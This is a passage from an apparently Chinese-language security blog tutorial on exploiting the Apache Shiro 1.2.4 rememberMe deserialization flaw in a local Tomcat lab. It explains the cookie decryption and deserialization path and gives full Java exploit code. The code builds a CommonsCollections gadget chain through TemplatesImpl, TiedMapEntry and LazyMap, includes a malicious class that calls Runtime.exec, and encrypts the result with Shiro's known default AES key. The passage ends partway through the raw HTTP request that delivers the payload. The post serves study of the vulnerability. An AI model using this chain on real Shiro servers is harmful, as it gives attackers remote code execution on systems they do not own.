class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222419-26-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222419-26-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:820px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u914d\u4e00\u4e0b\u8fd9\u4e2aedit configurations<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222509-26-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222509-26-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:733px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9009\u4e00\u4e2alocal\u7684tomcat\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222606-26-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222606-26-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:701px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u6309\u9ed8\u8ba4\u7684\u6765\u5c31\u884c\u4e86\uff0c\u63a5\u7740\u70b9\u4e00\u4e0b\u8fd9\u4e2afix\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222715-26-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222715-26-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:701px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9009\u7b2c\u4e00\u4e2a\u5373\u53ef\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222828-26-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222828-26-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:677px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u76f4\u63a5run\uff0c\u5c31\u53ef\u4ee5\u8df3\u8f6c\u5230\u767b\u5f55\u9875\u9762\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222907-26-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222907-26-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:728px;height:auto\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-223005-26-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-223005-26-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:705px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u7ec8\u4e8e\u53ef\u4ee5\u5927\u5c55\u62f3\u811a\u4e86\uff0c\u8d26\u53f7\u662froot\uff0c\u5bc6\u7801\u662fsecret\uff0c\u52fe\u4e00\u4e0bRemember me\uff0c\u53ef\u4ee5\u770b\u5230\u6709\u4e00\u4e2arememberMe\u7684cookie<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-224609-26-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-224609-26-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>Shiro \u63d0\u4f9b <code>rememberMe<\/code> \u529f\u80fd\uff0c\u7528\u4e8e\u5728\u5173\u95ed\u6d4f\u89c8\u5668\u540e\uff0c\u4ecd\u7136\u80fd\u201c\u8bb0\u4f4f\u201d\u7528\u6237\u7684\u767b\u5f55\u72b6\u6001\u3002\u5b83\u7684\u673a\u5236\u662f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u767b\u5f55\u6210\u529f\u65f6\uff0c\u5c06\u7528\u6237\u7684\u8eab\u4efd\u4fe1\u606f\u8fdb\u884c\u5e8f\u5217\u5316\uff1b<\/li>\n\n\n\n<li>\u7136\u540e\u901a\u8fc7\u5bf9\u79f0\u52a0\u5bc6\uff08AES\uff09\u52a0\u5bc6\u540e\uff0c\u5b58\u50a8\u5230\u5ba2\u6237\u7aef\u7684 Cookie \u4e2d\uff08\u9ed8\u8ba4\u540d\u53eb <code>rememberMe<\/code>\uff09\uff1b<\/li>\n\n\n\n<li>\u7528\u6237\u4e0b\u6b21\u8bbf\u95ee\u65f6\uff0cShiro \u4f1a\u8bfb\u53d6 Cookie\uff0c\u5e76 \u89e3\u5bc6+\u53cd\u5e8f\u5217\u5316 \u6765\u8fd8\u539f\u7528\u6237\u8eab\u4efd<\/li>\n<\/ul>\n\n\n\n<p>Shiro \u5728\u89e3\u5bc6 Cookie \u540e\uff0c\u4f1a\u5c06\u5176\u5185\u5bb9\u5f53\u6210 Java \u5bf9\u8c61\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u4f46\u5374\u6ca1\u6709\u505a\u4e25\u683c\u7684\u7c7b\u578b\u68c0\u67e5\u6216\u767d\u540d\u5355\u9650\u5236\u3002\u56e0\u6b64\u653b\u51fb\u8005\u53ea\u8981\u80fd\u6784\u9020\u4e00\u4e2a\u6076\u610f\u7684\u5e8f\u5217\u5316\u5bf9\u8c61\uff0c\u7136\u540e\u4f7f\u7528 Shiro \u4f7f\u7528\u7684\u52a0\u5bc6\u5bc6\u94a5\u8fdb\u884c\u52a0\u5bc6Shiro\uff0c\u5e76\u5c06\u8fd9\u4e2a\u503c\u653e\u8fdb Cookie \u4e2d\u53d1\u7ed9\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u670d\u52a1\u5668\u4f1a\u5728\u63a5\u6536\u5230 Cookie \u540e\u89e3\u5bc6\u5e76\u53cd\u5e8f\u5217\u5316\uff0c\u6700\u7ec8\u89e6\u53d1\u6076\u610f\u4ee3\u7801\uff0c\u56e0\u6b64\u6d41\u7a0b\u5c31\u662f\uff1arememberMe\u7684cookie\u503c \u2013&gt; Base64\u89e3\u7801 \u2013&gt; AES\u89e3\u5bc6 \u2013&gt; \u53cd\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5148\u4e0b\u4e00\u4e2a\u6709\u6f0f\u6d1e\u7684<a href=\"https:\/\/mvnrepository.com\/artifact\/org.apache.shiro\/shiro-all\/1.2.4\">shiro 1.2.4<\/a>\uff0c\u90a3\u4e48\u73b0\u5728\u7684\u601d\u8def\u5176\u5b9e\u4e5f\u5f88\u6e05\u6670\u4e86\uff0c\u628a\u6211\u4eec\u5b66\u4e60\u7684CC\u94fe\u751f\u6210\u4e00\u4e2apayload\uff0c\u7528shiro\u7684key\u52a0\u5bc6\u518d\u53d1\u7ed9\u670d\u52a1\u5668\uff0c\u670d\u52a1\u5668\u5c31\u4f1a\u53cd\u5e8f\u5217\u5316\u7136\u540e\u6267\u884c\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\uff0c\u6bd4\u5982\u8fd9\u4e2ademo\uff08\u8fd9\u4e2aCommonsCollections6\u662f\u6211\u4eec\u4e4b\u524d\u521b\u7684\u7c7b\uff0c\u6216\u8005copy\u4e00\u4e0b<a href=\"https:\/\/github.com\/phith0n\/JavaThings\/blob\/master\/shiroattack\/src\/main\/java\/com\/govuln\/shiroattack\/CommonsCollections6.java\">p\u795e<\/a>\u7684\u653e\u5728\u540c\u4e00\u4e2a\u5305\u91cc\u5c31\u884c\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import org.apache.shiro.crypto.AesCipherService;\nimport org.apache.shiro.util.ByteSource;\n\nimport java.util.Base64;\n\npublic class attack1 {\n    public static void main(String&#91;] args) throws Exception {\n        byte&#91;] payload = new CommonsCollections6().getPayload(\"calc.exe\");\n        AesCipherService aes = new AesCipherService();\n        byte&#91;] key = Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\");\n        ByteSource ciphertext = aes.encrypt(payload, key);\n        System.out.printf(ciphertext.toString());\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u53ef\u60dc\uff0c\u62a5\u9519\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-231505-26-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-231505-26-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728shiro\u91cc\uff0c\u5982\u679c\u53cd\u5e8f\u5217\u5316\u6d41\u4e2d\u5305\u542b\u975eJava\u81ea\u8eab\u7684\u6570\u7ec4\uff0c\u5219\u4f1a\u51fa\u73b0\u65e0\u6cd5\u52a0\u8f7d\u7c7b\u7684\u9519\u8bef\uff0c\u56e0\u6b64CommonsCollections6\u65e0\u6cd5\u5229\u7528\uff0c\u56e0\u4e3a\u5176\u4e2d\u7528\u5230\u4e86Transformer\u6570\u7ec4\uff0c\u73b0\u5728\u6211\u4eec\u9700\u8981\u601d\u8003\u4e00\u79cd\u4e0d\u542b\u6570\u7ec4\u7684Gadget\uff0c\u4e4b\u524d\u6211\u4eec\u5b66\u4e60CC3\u7684\u65f6\u5019\uff0c\u5176\u5b9e\u8fd8\u662f\u7528\u5230\u4e86TemplatesImpl\u548cInvokerTransformer\uff0c\u56e0\u6b64\u9700\u8981\u7528\u5230Transformer\u6570\u7ec4\uff0c\u6240\u4ee5\u4ecd\u7136\u6253\u4e0d\u901a\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u5b66\u4e60<a href=\"https:\/\/www.anquanke.com\/post\/id\/192619\" target=\"_blank\" rel=\"noreferrer noopener\">wh1s3p1g<\/a>\u7684\u6253\u6cd5\uff0c\u90a3\u5c31\u662fCC6\u91cc\u7684TiedMapEntry\uff0c\u5f53\u65f6\u6211\u4eec\u53ea\u5173\u6ce8\u4e86\u5b83\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u4ee5\u53ca\u4f7f\u7528getValue\u89e6\u53d1get\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling.com\/wp-content\/uploads\/2023\/01\/image-1024x648.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"648\" data-original=\"https:\/\/fushuling.com\/wp-content\/uploads\/2023\/01\/image-1024x648.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3603\" style=\"width:709px;height:auto\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5f53\u65f6\u6211\u4eec\u7684key\u662f\u968f\u4fbf\u4f20\u7684\uff0c\u800c\u73b0\u5728\u7531\u4e8e\u4e0d\u80fd\u4f7f\u7528\u6570\u7ec4\uff0cChainedTransformer\u662f\u7528\u4e0d\u4e86\u4e86\uff0c\u6211\u4eec\u8be5\u600e\u4e48\u5b9e\u73b0\u6076\u610f\u5bf9\u8c61\u4e0e\u6076\u610f\u5bf9\u8c61\u4e4b\u95f4\u7684\u8fde\u63a5\u5462\uff1f\u975e\u5e38\u6070\u597d\uff0cgetValue\u4f1a\u89e6\u53d1<code>this.map.get(this.key)<\/code>\uff0c\u800c\u5f53\u6211\u4eec\u4f20\u5165\u4e00\u4e2aLazyMap\uff0cLazyMap\u7684get\u65b9\u6cd5\u5b9e\u9645\u4e0a\u76f4\u63a5\u5bf9key\u8fdb\u884c\u4e86transform\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-232740-26-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-232740-26-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:588px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u4e4b\u524dCC6\u94fe\u5b50\u7684\u4ee3\u7801\u8fd9\u91cc\u5176\u5b9e\u53ef\u4ee5\u7b80\u5316\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;]{\n new ConstantTransformer(obj),\n new InvokerTransformer(\"newTransformer\", null, null)\n};<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u5176\u5b9e\u5b8c\u5168\u4e0d\u9700\u8981 <code>new ConstantTransformer(obj)<\/code> \u8fd9\u4e00\u6b65\uff0c\u53ea\u9700\u8981\u628a\u6076\u610f\u5bf9\u8c61\u4f20\u5165\u4f5c\u4e3akey\u5c31\u53ef\u4ee5\u4e86\uff0c\u90a3\u4e48\u73b0\u5728\u7684\u6570\u7ec4\u957f\u5ea6\u53d8\u6210\u4e861\uff0c\u81ea\u7136\u4e5f\u4e0d\u9700\u8981\u6570\u7ec4\u4e86\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u6211\u4eec\u53c2\u8003cc3\u6784\u9020TemplatesImpl&nbsp;\u7684\u94fe\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl templates = new TemplatesImpl();\nsetFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{bytes});\nsetFieldValue(templates, \"_name\", \"test\");\nsetFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u63a5\u5165cc3\u7684\u94fe\u5b50\uff0c\u4f46\u6ce8\u610f\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u5199\u4e00\u4e2a\u6076\u610f\u7c7b\uff0c\u56e0\u4e3a\u662f\u8981\u653e\u5165TemplatesImpl\u52a0\u8f7d\uff0c\u6240\u4ee5\u5f97\u7ee7\u627fAbstractTranslet\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package shiroTest;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\n\nimport java.io.IOException;\n\npublic class EvilTest extends AbstractTranslet {\n    @Override\n    public void transform(DOM document, SerializationHandler&#91;] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n\n    public EvilTest() throws IOException {\n        super();\n        Runtime.getRuntime().exec(\"calc.exe\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u7528\u5230\u4e86<code>javassist<\/code>\uff0c\u8fd9\u662f\u4e00\u4e2a\u5b57\u8282\u7801\u64cd\u7eb5\u7684\u7b2c\u4e09\u65b9\u5e93\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u5c06\u6076\u610f\u7c7b\u751f\u6210\u5b57\u8282\u7801\u518d\u4ea4\u7ed9 TemplatesImpl\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ClassPool pool = ClassPool.getDefault();\nCtClass clazzz = pool.get(\"EvilTest\");\nbyte&#91;] code = clazzz.toBytecode();<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u5b8c\u6574\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package shiroTest;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport org.apache.shiro.crypto.AesCipherService;\nimport org.apache.shiro.util.ByteSource;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class attack2 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n        \/\/ faketransformer\u9632\u6b62\u6784\u9020\u65f6\u89e6\u53d1\n        Transformer faketransformer = new InvokerTransformer(\"getClass\", null, null);\n        \/\/ CC6pro\n        Map innerMap = new HashMap();\n        Map outerMap = LazyMap.decorate(innerMap, faketransformer);\n        \/\/ key\u4f20\u5165\u6076\u610fTemplatesImpl\u5bf9\u8c61\n        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);\n        HashMap expMap = new HashMap();\n        expMap.put(tme, \"value\");\n        outerMap.clear();\n        \/\/\u5c06faketransformer\u6539\u9020\uff0ciMethodName\u6362\u6210newTransformer\u89e6\u53d1\u94fe\u5b50\n        setFieldValue(faketransformer, \"iMethodName\", \"newTransformer\");\n\n        \/\/ \u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(expMap);\n        oos.close();\n\n        \/\/ shiro\u6570\u636e\u751f\u6210\n        AesCipherService aes = new AesCipherService();\n        byte&#91;] key = Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\");\n        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);\n        System.out.printf(ciphertext.toString());\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-235414-26-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-235414-26-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u53d1\u5305\u5373\u53ef\uff0c\u6ce8\u610fcookie\u91cc\u4e0d\u8981\u5e26\u90a3\u4e2ajsessionid\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/shirodemo_war\/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A HTTP\/1.1\nHost: localhost:8080\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko\/20100101 Firefox\/137.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nOrigin: http:\/\/localhost:8080\nDNT: 1\nSec-GPC: 1\nConnection: 